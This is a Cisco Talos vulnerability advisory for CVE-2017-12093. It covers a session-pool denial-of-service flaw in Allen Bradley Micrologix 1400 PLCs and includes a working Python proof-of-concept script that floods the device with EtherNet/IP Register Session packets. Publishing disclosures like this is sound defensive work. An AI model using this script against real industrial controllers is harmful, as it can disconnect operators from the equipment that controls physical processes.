Talos Vulnerability Report

TALOS-2017-0445

Allen Bradley Micrologix 1400 Series B PLC Session Communication Insufficient Resource Pool Denial of Service Vulnerability

March 28, 2018
CVE Number

CVE-2017-12093

Summary

An exploitable insufficient resource pool vulnerability exists in the session communication functionality of Allen Bradley Micrologix 1400 Series B Firmware 21.2 and before. A specially crafted stream of packets can cause a flood of the session resource pool resulting in legitimate connections to the PLC being disconnected. An attacker can send unauthenticated packets to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-410: Insufficient Resource Pool

Details

The Micrologix 1400 can support up to ten active connections at any point in time. When ten active connections already exist and another connection request comes in, the PLC will disconnect the oldest connection and allow the new connection. By creating a loop of 'Register Session' packets (the same kind used by RSLinx to create a connection) it is possible to disconnect an existing RSLinx/RSLogix session, preventing the user from accessing the PLC. When this occurs the PLC continues to operate in whatever state it was previously in.

A user in an online RSLogix session will be notified that their connection has been disconnected through the normal communications loss alert. Within this alert the user has the ability to reconnect. If this is done the new RSLogix session will push out one of the malicious sessions, however if the malicious 'Register Session' packets are flooding the system, the legitimate session will quickly be pushed out of the queue again.

Exploit Proof-of-Concept

Usage: python .py -i [-p ] [-n ] Where the elements are as follows: - : whatever name you give the script - : ip address of the plc - : EtherNet/IP port (defaults to 44818) - : the number of packets to send (defaults to 10000)

import argparse
import socket

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
parser.add_argument("-n", "--numpackets", help="the number of packets to send", default=100000, type=int)
args = parser.parse_args()

dst = args.ipaddr
port = args.port
num_packets = args.numpackets

def register_session():
    registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
    sock.send(registersession_data)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
for i in range(num_packets): register_session()
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

Credit

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.